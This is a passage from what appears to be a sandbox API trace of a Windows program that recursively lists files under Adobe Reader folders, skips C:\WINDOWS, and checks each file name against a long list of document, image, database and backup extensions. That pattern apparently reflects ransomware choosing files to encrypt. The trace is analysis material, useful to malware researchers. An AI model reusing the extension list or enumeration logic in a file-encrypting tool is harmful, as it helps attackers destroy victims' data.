(lpString=".epsf") returned 5 [0261.961] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0261.961] lstrlenW (lpString=".epsp") returned 5 [0261.961] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0261.961] lstrlenW (lpString=".erf") returned 4 [0261.961] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0261.961] lstrlenW (lpString=".exr") returned 4 [0261.961] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0261.961] lstrlenW (lpString=".f4v") returned 4 [0261.961] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0261.962] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.962] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0261.962] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0261.962] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0261.962] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0261.962] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0261.962] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.963] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.963] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.963] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0261.963] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0261.963] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0261.963] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0261.963] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315c30 [0261.963] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.963] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x315b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.964] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x315b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.964] FindClose (in: hFindFile=0x3315c30 | out: hFindFile=0x3315c30) returned 1 [0262.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.149] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0262.149] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il") returned 105 [0262.149] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il") returned 1 [0262.149] lstrlenW (lpString="en-il") returned 5 [0262.149] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-il") returned -1 [0262.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.149] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il") returned 105 [0262.149] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315c30 [0262.150] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.150] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.150] lstrlenW (lpString="ui-strings.js") returned 13 [0262.150] lstrlenW (lpString=".1cd") returned 4 [0262.150] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0262.150] lstrlenW (lpString=".3ds") returned 4 [0262.150] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0262.150] lstrlenW (lpString=".3fr") returned 4 [0262.150] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0262.150] lstrlenW (lpString=".3g2") returned 4 [0262.151] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0262.151] lstrlenW (lpString=".3gp") returned 4 [0262.151] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0262.151] lstrlenW (lpString=".7z") returned 3 [0262.151] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0262.151] lstrlenW (lpString=".accda") returned 6 [0262.151] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0262.151] lstrlenW (lpString=".accdb") returned 6 [0262.151] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0262.151] lstrlenW (lpString=".accdc") returned 6 [0262.151] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0262.151] lstrlenW (lpString=".accde") returned 6 [0262.151] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0262.151] lstrlenW (lpString=".accdt") returned 6 [0262.151] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0262.151] lstrlenW (lpString=".accdw") returned 6 [0262.151] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0262.151] lstrlenW (lpString=".adb") returned 4 [0262.151] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0262.151] lstrlenW (lpString=".adp") returned 4 [0262.151] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0262.151] lstrlenW (lpString=".ai") returned 3 [0262.151] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0262.151] lstrlenW (lpString=".ai3") returned 4 [0262.151] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0262.151] lstrlenW (lpString=".ai4") returned 4 [0262.151] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0262.151] lstrlenW (lpString=".ai5") returned 4 [0262.152] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0262.152] lstrlenW (lpString=".ai6") returned 4 [0262.152] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0262.152] lstrlenW (lpString=".ai7") returned 4 [0262.152] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0262.152] lstrlenW (lpString=".ai8") returned 4 [0262.152] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0262.152] lstrlenW (lpString=".anim") returned 5 [0262.152] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0262.152] lstrlenW (lpString=".arw") returned 4 [0262.152] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0262.152] lstrlenW (lpString=".as") returned 3 [0262.152] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0262.152] lstrlenW (lpString=".asa") returned 4 [0262.152] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0262.152] lstrlenW (lpString=".asc") returned 4 [0262.152] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0262.152] lstrlenW (lpString=".ascx") returned 5 [0262.152] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0262.152] lstrlenW (lpString=".asm") returned 4 [0262.152] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0262.152] lstrlenW (lpString=".asmx") returned 5 [0262.152] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0262.152] lstrlenW (lpString=".asp") returned 4 [0262.152] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0262.153] lstrlenW (lpString=".aspx") returned 5 [0262.153] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0262.153] lstrlenW (lpString=".asr") returned 4 [0262.153] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0262.153] lstrlenW (lpString=".asx") returned 4 [0262.153] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0262.153] lstrlenW (lpString=".avi") returned 4 [0262.153] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0262.153] lstrlenW (lpString=".avs") returned 4 [0262.153] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0262.153] lstrlenW (lpString=".backup") returned 7 [0262.153] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0262.153] lstrlenW (lpString=".bak") returned 4 [0262.153] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0262.153] lstrlenW (lpString=".bay") returned 4 [0262.153] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0262.153] lstrlenW (lpString=".bd") returned 3 [0262.153] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0262.153] lstrlenW (lpString=".bin") returned 4 [0262.153] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0262.153] lstrlenW (lpString=".bmp") returned 4 [0262.153] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0262.153] lstrlenW (lpString=".bz2") returned 4 [0262.153] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0262.153] lstrlenW (lpString=".c") returned 2 [0262.153] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0262.154] lstrlenW (lpString=".cdr") returned 4 [0262.154] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0262.154] lstrlenW (lpString=".cer") returned 4 [0262.154] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0262.154] lstrlenW (lpString=".cf") returned 3 [0262.154] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0262.154] lstrlenW (lpString=".cfc") returned 4 [0262.154] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0262.154] lstrlenW (lpString=".cfm") returned 4 [0262.154] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0262.154] lstrlenW (lpString=".cfml") returned 5 [0262.154] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0262.154] lstrlenW (lpString=".cfu") returned 4 [0262.154] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0262.154] lstrlenW (lpString=".chm") returned 4 [0262.154] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0262.154] lstrlenW (lpString=".cin") returned 4 [0262.154] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0262.154] lstrlenW (lpString=".class") returned 6 [0262.154] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0262.154] lstrlenW (lpString=".clx") returned 4 [0262.154] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0262.154] lstrlenW (lpString=".config") returned 7 [0262.154] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0262.154] lstrlenW (lpString=".cpp") returned 4 [0262.154] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0262.154] lstrlenW (lpString=".cr2") returned 4 [0262.154] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0262.155] lstrlenW (lpString=".crt") returned 4 [0262.155] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0262.155] lstrlenW (lpString=".crw") returned 4 [0262.155] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0262.155] lstrlenW (lpString=".cs") returned 3 [0262.155] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0262.155] lstrlenW (lpString=".css") returned 4 [0262.155] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0262.155] lstrlenW (lpString=".csv") returned 4 [0262.155] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0262.155] lstrlenW (lpString=".cub") returned 4 [0262.155] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0262.155] lstrlenW (lpString=".dae") returned 4 [0262.155] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0262.155] lstrlenW (lpString=".dat") returned 4 [0262.155] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0262.155] lstrlenW (lpString=".db") returned 3 [0262.155] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0262.155] lstrlenW (lpString=".dbf") returned 4 [0262.155] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0262.155] lstrlenW (lpString=".dbx") returned 4 [0262.155] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0262.155] lstrlenW (lpString=".dc3") returned 4 [0262.155] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0262.155] lstrlenW (lpString=".dcm") returned 4 [0262.155] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0262.156] lstrlenW (lpString=".dcr") returned 4 [0262.156] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0262.156] lstrlenW (lpString=".der") returned 4 [0262.156] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0262.156] lstrlenW (lpString=".dib") returned 4 [0262.156] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0262.156] lstrlenW (lpString=".dic") returned 4 [0262.156] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0262.156] lstrlenW (lpString=".dif") returned 4 [0262.156] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0262.156] lstrlenW (lpString=".divx") returned 5 [0262.156] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0262.156] lstrlenW (lpString=".djvu") returned 5 [0262.156] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0262.156] lstrlenW (lpString=".dng") returned 4 [0262.156] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0262.156] lstrlenW (lpString=".doc") returned 4 [0262.156] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0262.156] lstrlenW (lpString=".docm") returned 5 [0262.156] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0262.156] lstrlenW (lpString=".docx") returned 5 [0262.156] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0262.156] lstrlenW (lpString=".dot") returned 4 [0262.156] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0262.156] lstrlenW (lpString=".dotm") returned 5 [0262.156] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0262.156] lstrlenW (lpString=".dotx") returned 5 [0262.156] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0262.156] lstrlenW (lpString=".dpx") returned 4 [0262.156] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0262.157] lstrlenW (lpString=".dqy") returned 4 [0262.157] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0262.157] lstrlenW (lpString=".dsn") returned 4 [0262.157] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0262.157] lstrlenW (lpString=".dt") returned 3 [0262.157] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0262.157] lstrlenW (lpString=".dtd") returned 4 [0262.157] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0262.157] lstrlenW (lpString=".dwg") returned 4 [0262.157] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0262.157] lstrlenW (lpString=".dwt") returned 4 [0262.157] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0262.157] lstrlenW (lpString=".dx") returned 3 [0262.157] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0262.157] lstrlenW (lpString=".dxf") returned 4 [0262.157] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0262.157] lstrlenW (lpString=".edml") returned 5 [0262.157] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0262.157] lstrlenW (lpString=".efd") returned 4 [0262.157] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0262.157] lstrlenW (lpString=".elf") returned 4 [0262.157] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0262.157] lstrlenW (lpString=".emf") returned 4 [0262.157] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0262.157] lstrlenW (lpString=".emz") returned 4 [0262.157] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0262.157] lstrlenW (lpString=".epf") returned 4 [0262.157] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0262.157] lstrlenW (lpString=".eps") returned 4 [0262.157] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0262.157] lstrlenW (lpString=".epsf") returned 5 [0262.158] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0262.158] lstrlenW (lpString=".epsp") returned 5 [0262.158] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0262.158] lstrlenW (lpString=".erf") returned 4 [0262.158] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0262.158] lstrlenW (lpString=".exr") returned 4 [0262.158] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0262.158] lstrlenW (lpString=".f4v") returned 4 [0262.158] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0262.158] lstrlenW (lpString=".fido") returned 5 [0262.158] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0262.158] lstrlenW (lpString=".flm") returned 4 [0262.158] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0262.158] lstrlenW (lpString=".flv") returned 4 [0262.158] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0262.158] lstrlenW (lpString=".frm") returned 4 [0262.158] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0262.158] lstrlenW (lpString=".fxg") returned 4 [0262.158] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0262.158] lstrlenW (lpString=".geo") returned 4 [0262.158] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0262.158] lstrlenW (lpString=".gif") returned 4 [0262.158] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0262.158] lstrlenW (lpString=".grs") returned 4 [0262.158] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0262.158] lstrlenW (lpString=".gz") returned 3 [0262.158] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0262.158] lstrlenW (lpString=".h") returned 2 [0262.158] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0262.158] lstrlenW (lpString=".hdr") returned 4 [0262.158] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0262.159] lstrlenW (lpString=".hpp") returned 4 [0262.159] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0262.159] lstrlenW (lpString=".hta") returned 4 [0262.159] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0262.159] lstrlenW (lpString=".htc") returned 4 [0262.159] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0262.159] lstrlenW (lpString=".htm") returned 4 [0262.159] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0262.159] lstrlenW (lpString=".html") returned 5 [0262.159] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0262.159] lstrlenW (lpString=".icb") returned 4 [0262.159] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0262.159] lstrlenW (lpString=".ics") returned 4 [0262.159] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0262.159] lstrlenW (lpString=".iff") returned 4 [0262.159] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0262.159] lstrlenW (lpString=".inc") returned 4 [0262.159] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0262.159] lstrlenW (lpString=".indd") returned 5 [0262.159] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0262.159] lstrlenW (lpString=".ini") returned 4 [0262.159] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0262.159] lstrlenW (lpString=".iqy") returned 4 [0262.159] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0262.159] lstrlenW (lpString=".j2c") returned 4 [0262.159] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0262.159] lstrlenW (lpString=".j2k") returned 4 [0262.160] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0262.160] lstrlenW (lpString=".java") returned 5 [0262.160] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0262.160] lstrlenW (lpString=".jp2") returned 4 [0262.160] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0262.160] lstrlenW (lpString=".jpc") returned 4 [0262.160] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0262.160] lstrlenW (lpString=".jpe") returned 4 [0262.160] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0262.160] lstrlenW (lpString=".jpeg") returned 5 [0262.160] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0262.160] lstrlenW (lpString=".jpf") returned 4 [0262.160] lstrcmpiW (lpString1=".jpf", 